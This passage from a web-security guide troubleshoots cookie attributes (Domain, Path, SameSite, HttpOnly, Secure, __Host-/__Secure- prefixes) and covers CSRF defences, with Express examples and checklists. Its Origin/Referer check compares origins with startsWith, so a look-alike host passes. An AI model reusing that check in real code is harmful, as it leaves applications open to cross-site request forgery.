# Problem: Cookie set for different domain
Set-Cookie: session=abc123; Domain=api.example.com
# User visits app.example.com - cookie not sent

# Solution: Don't set Domain or use correct domain
Set-Cookie: session=abc123; HttpOnly; Secure

Cause 4: Path mismatch:

# Problem: Cookie restricted to specific path
Set-Cookie: admin_session=abc123; Path=/admin
# Request to /api/users - cookie not sent

# Solution: Use Path=/ for general cookies
Set-Cookie: session=abc123; Path=/
```text

### Issue 2: SameSite=None Not Working

**Symptoms:**

- Cross-site requests fail
- Widgets don't work when embedded
- OAuth flows broken

**Error message:**

```text
Cookie "widget_session" has been rejected because it is in a cross-site context and its SameSite is "Lax" or "Strict".
```text

**Solution:**

```http
# Wrong: SameSite=None without Secure
Set-Cookie: widget_session=abc123; SameSite=None

# Right: SameSite=None requires Secure
Set-Cookie: widget_session=abc123; Secure; SameSite=None

Additional requirements:

  • Must be served over HTTPS
  • Some older browsers don’t support SameSite=None
  • Consider browser compatibility and fallbacks

Issue 3: Cookies Accessible to JavaScript (Security Risk)

Symptoms:

  • document.cookie shows session token
  • XSS vulnerability present
  • Security audit fails

Problem:

# Missing HttpOnly attribute
Set-Cookie: session=abc123; Secure
```javascript

```javascript
// JavaScript can access cookie
console.log(document.cookie) // "session=abc123"

Solution:

# Add HttpOnly attribute
Set-Cookie: session=abc123; Secure; HttpOnly
```javascript

```javascript
// JavaScript cannot access HttpOnly cookies
console.log(document.cookie) // Cookie hidden

Symptoms:

  • User logged out when browser closes
  • “Remember me” not working
  • Session lost on restart

Cause: Session cookie (no Max-Age or Expires) instead of persistent cookie.

# Session cookie - deleted when browser closes
Set-Cookie: session=abc123; Secure; HttpOnly

# Persistent cookie - survives browser restart
Set-Cookie: session=abc123; Secure; HttpOnly; Max-Age=2592000
```text

**Implementation:**

```javascript
// Without "remember me"
res.cookie('session', sessionId, {
  secure: true,
  httpOnly: true
  // No maxAge - session cookie
})

// With "remember me"
res.cookie('session', sessionId, {
  secure: true,
  httpOnly: true,
  maxAge: req.body.rememberMe ? 2592000000 : undefined
})

Issue 5: __Host- or __Secure- Prefix Rejected

Symptoms:

  • Cookie not being set despite correct code
  • Browser ignores cookie
  • No error message in DevTools

Problem with __Secure-:

# Rejected: Not served over HTTPS
HTTP/1.1 200 OK
Set-Cookie: __Secure-session=abc123; Secure

# Rejected: Missing Secure attribute
Set-Cookie: __Secure-session=abc123
```text

**Problem with \_\_Host-:**

```http
# Rejected: Includes Domain attribute
Set-Cookie: __Host-session=abc123; Secure; Domain=example.com; Path=/

# Rejected: Path is not /
Set-Cookie: __Host-session=abc123; Secure; Path=/admin

# Rejected: Missing Secure attribute
Set-Cookie: __Host-session=abc123; Path=/

Correct usage:

# __Secure- cookie
Set-Cookie: __Secure-session=abc123; Secure; HttpOnly; SameSite=Strict

# __Host- cookie (strictest)
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/
```javascript

### Issue 6: CSRF Attacks Despite Cookie Security

**Symptoms:**

- CSRF protection bypassed
- Unwanted actions performed
- SameSite not preventing attacks

**Problem:**
SameSite alone may not be sufficient for all scenarios.

**Additional protections needed:**

```javascript
// 1. CSRF tokens for state-changing operations
app.use(csrf())

app.get('/form', (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() })
})

app.post('/action', (req, res) => {
  // CSRF token automatically validated
  // Process action
})

// 2. Verify Origin/Referer headers
app.use((req, res, next) => {
  if (['POST', 'PUT', 'DELETE'].includes(req.method)) {
    const origin = req.headers.origin || req.headers.referer
    const allowedOrigins = ['https://example.com']

    if (!origin || !allowedOrigins.some((allowed) => origin.startsWith(allowed))) {
      return res.status(403).json({ error: 'Invalid origin' })
    }
  }
  next()
})

// 3. Re-authentication for sensitive actions
app.post('/delete-account', requirePassword, (req, res) => {
  // Additional password check
})

Debugging Checklist

When cookies aren’t working:

  • Check browser DevTools > Application > Cookies
  • Verify cookie attributes match requirements
  • Ensure HTTPS is used when Secure attribute is set
  • Check Domain and Path match current URL
  • Verify SameSite setting allows the request type
  • Look for JavaScript errors in Console
  • Check Network tab for Set-Cookie headers
  • Verify browser supports cookie prefixes (if used)
  • Clear cookies and test fresh
  • Test in different browser/incognito mode

Security audit checklist:

  • All session cookies have HttpOnly attribute
  • All cookies use Secure attribute in production
  • SameSite is set appropriately (Strict or Lax)
  • Cookie lifetimes are as short as possible
  • Sensitive cookies use Host- orSecure- prefix
  • Domain attribute is not set (or very specific)
  • Path attribute limits exposure where appropriate
  • CSRF protection is implemented
  • Session regeneration on privilege changes
  • Secure cookie deletion on logout

Best Practices Summary

For All Applications

  1. Always use HTTPS in production - Required for Secure attribute
  2. Set HttpOnly on authentication cookies - Prevents XSS cookie theft
  3. Use SameSite=Lax as minimum - Basic CSRF protection
  4. Minimize cookie lifetime - Reduce exposure window
  5. Use cookie prefixes - __Host- for maximum security
  6. Regenerate session IDs - On login and privilege changes
  7. Implement proper logout - Clear cookies and invalidate sessions
  8. Monitor and audit - Regular security reviews

Development vs Production

Development:

// More permissive for local testing
res.cookie('session', sessionId, {
  secure: false, // HTTP allowed locally
  httpOnly: true,
  sameSite: 'lax'
})
```http

**Production:**

```javascript
// Strict security in production
res.cookie('__Host-session', sessionId, {
  secure: true,
  httpOnly: true,
  sameSite: 'strict',
  maxAge: 900000, // 15 minutes
  path: '/'
})

Security Layers

Cookie security is one layer of a comprehensive security strategy:

  1. Cookie attributes - HttpOnly, Secure, SameSite
  2. HTTPS/TLS - Encrypted transmission
  3. CSRF tokens - Additional request validation
  4. Content Security Policy - Mitigate XSS
  5. Input validation - Prevent injection attacks
  6. Rate limiting - Prevent brute force
  7. Session management - Timeout, rotation, validation
  8. Monitoring - Detect anomalies and attacks

Summary

Cookie security is critical for protecting web applications and user data. Key takeaways:

  1. HttpOnly prevents JavaScript access and XSS cookie theft
  2. Secure ensures cookies only transmit over HTTPS
  3. SameSite provides CSRF protection (Strict > Lax > None)
  4. Cookie prefixes (**Host-,**Secure-) enforce additional constraints
  5. Domain and Path should be as specific as possible
  6. Lifetime should be minimized based on use case
  7. Defense in depth - cookies are one layer of many security measures
  8. Context matters - balance security with functionality needs

Proper cookie configuration is not optional - it’s essential for modern web security. Always prioritize security attributes, especially for authentication and session cookies.

Frequently Asked Questions

What cookie attributes improve security?

Use Secure (HTTPS only), HttpOnly (no JavaScript access), SameSite=Strict or Lax (CSRF protection). Combine all three for session cookies.

What is the HttpOnly attribute?

HttpOnly prevents JavaScript from accessing the cookie via document.cookie. This protects session tokens from XSS attacks that try to steal cookies.

What does SameSite protect against?

SameSite prevents CSRF attacks by controlling when cookies are sent with cross-site requests. Strict blocks all cross-site, Lax allows safe navigation.

How do I secure session cookies?

Use Secure, HttpOnly, SameSite=Strict, short expiration, and regenerate session ID after login. Store minimal data in cookies, keep sensitive data server-side.

Keep Learning